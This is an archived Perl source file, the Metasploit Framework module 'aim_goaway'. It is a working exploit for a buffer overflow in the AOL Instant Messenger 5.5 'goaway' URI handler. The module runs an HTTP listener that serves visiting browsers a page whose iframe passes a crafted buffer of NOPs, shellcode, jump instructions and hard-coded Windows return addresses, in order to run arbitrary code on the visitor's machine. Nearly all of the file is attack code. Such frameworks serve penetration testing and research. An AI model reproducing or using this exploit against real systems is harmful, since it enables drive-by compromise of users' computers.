home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / aim_goaway.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  175 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::aim_goaway;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15. use IO::Socket::INET;
  16.  
  17. my $advanced =
  18. {
  19. };
  20.  
  21. my $info =
  22. {
  23.     'Name'           => 'AOL Instant Messenger goaway Overflow',
  24.     'Version'        => '$Revision: 1.7 $',
  25.     'Authors'        => 
  26.         [
  27.             'skape <mmiller [at] hick.org>',
  28.             'thief <thief [at] uninformed.org>'
  29.         ],
  30.     'Description'    => 
  31.         Pex::Text::Freeform(qq{
  32.             This module exploits a flaw in the handling of AOL Instant
  33.             Messenger's 'goaway' URI handler.  An attacker can execute 
  34.             arbitrary code by supplying a overly sized buffer as the 
  35.             'message' parameter.  This issue is known to affect AOL Instant 
  36.             Messenger 5.5.
  37.         }),
  38.     'Arch'           => [ 'x86' ],
  39.     'OS'             => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  40.     'Priv'           => 0,
  41.     'UserOpts'       => 
  42.         {
  43.             'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
  44.             'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  45.         },
  46.     'Payload'        => 
  47.         {
  48.             'Space'    => 1014,
  49.             'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  50.             'MaxNops'  => 1014, 
  51.             'Keys'     => [ '-ws2ord', '-bind' ],
  52.         },
  53.     'Refs'           => 
  54.         [
  55.             [ 'OSVDB', 8398 ],
  56.             [ 'MIL'  ,    3 ],
  57.             [ 'URL'  , 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
  58.         ],
  59.     'DefaultTarget'  => 0,
  60.     'Targets'        =>
  61.         [
  62.             [ 'Automatic',      0x1108118f ], # proto.ocm
  63.             [ "Windows XP SP0", 0x71aa2461 ], # ws2help.dll
  64.         ],
  65.     'Keys'           => [ 'aim' ],
  66.  
  67.     'DisclosureDate' => 'Aug 9 2004',
  68. };
  69.  
  70. sub new
  71. {
  72.     my $class = shift;
  73.     my $self;
  74.     
  75.     $self = $class->SUPER::new(
  76.             { 
  77.                 'Info'     => $info,
  78.                 'Advanced' => $advanced,
  79.             },
  80.             @_);
  81.  
  82.     return $self;
  83. }
  84.  
  85. sub Exploit
  86. {
  87.     my $self = shift;
  88.     my $server     = IO::Socket::INET->new(
  89.             LocalHost => $self->GetVar('HTTPHOST'),
  90.             LocalPort => $self->GetVar('HTTPPORT'),
  91.             ReuseAddr => 1,
  92.             Listen    => 1,
  93.             Proto     => 'tcp');
  94.     my $client;
  95.  
  96.     # Did the listener create fail?
  97.     if (not defined($server))
  98.     {
  99.         $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  100.         return;
  101.     }
  102.  
  103.     $self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
  104.  
  105.     while (defined($client = $server->accept()))
  106.     {
  107.         $self->HandleHttpClient(fd => $client);
  108.     }
  109.  
  110.     return;
  111. }
  112.  
  113. sub HandleHttpClient
  114. {
  115.     my $self = shift;
  116.     my ($fd) = @{{@_}}{qw/fd/};
  117.     my $targetIdx = $self->GetVar('TARGET');
  118.     my $target    = $self->Targets->[$targetIdx];
  119.     my $ret       = $target->[1];
  120.     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
  121.     my $content;
  122.     my $rhost;
  123.     my $rport;
  124.     my $os = "Unknown";
  125.  
  126.     # Read the HTTP command
  127.     my ($cmd, $url, $proto) = split / /, <$fd>;
  128.  
  129.     # Read in the HTTP headers
  130.     while (<$fd>)
  131.     {
  132.         my ($var, $val) = split /: /, $_;
  133.  
  134.         # Break out if we reach the end of the headers
  135.         last if (not defined($var) or not defined($val));
  136.  
  137.         if ($var eq 'User-Agent')
  138.         {
  139.             $os = "Windows 2003" if (!$os and $val =~ /Windows NT 5.2/);
  140.             $os = "Windows XP"   if (!$os and $val =~ /Windows NT 5.1/);
  141.             $os = "Windows 2000" if (!$os and $val =~ /Windows NT 5.0/);
  142.             $os = "Windows NT"   if (!$os and $val =~ /Windows NT/);
  143.         }
  144.     }
  145.  
  146.     # Build the HTML
  147.     my $src     = ($self->MakeNops(1014 - length($shellcode))) . # nops
  148.                   $shellcode .                                   # payload
  149.                   "\xeb\x07\x90\x90" .                           # jmp +7
  150.                   pack("V", $ret) .                              # return address
  151.                   "\x90\xe9\x13\xfc\xff\xff";                    # jmp -1000
  152.     my $content = 
  153.         "<html>
  154.             <iframe src='aim:goaway?message=$src'>
  155.         </html>";
  156.  
  157.     # Set the remote host
  158.     ($rport, $rhost) = sockaddr_in(getpeername($fd));
  159.     $rhost           = inet_ntoa($rhost);
  160.  
  161.     $self->PrintLine("[*] HTTP Client connected from $rhost using $os, sending payload...");
  162.     
  163.     # Transmit the HTTP response
  164.     print $fd "HTTP/1.1 200 OK\r\n" .
  165.               "Content-Type: text/html\r\n" .
  166.               "Content-Length: " . length($content) . "\r\n" .
  167.               "Connection: close\r\n" .
  168.               "\r\n" .
  169.               "$content";
  170.  
  171.     $fd->close();
  172. }
  173.  
  174. 1;
  175.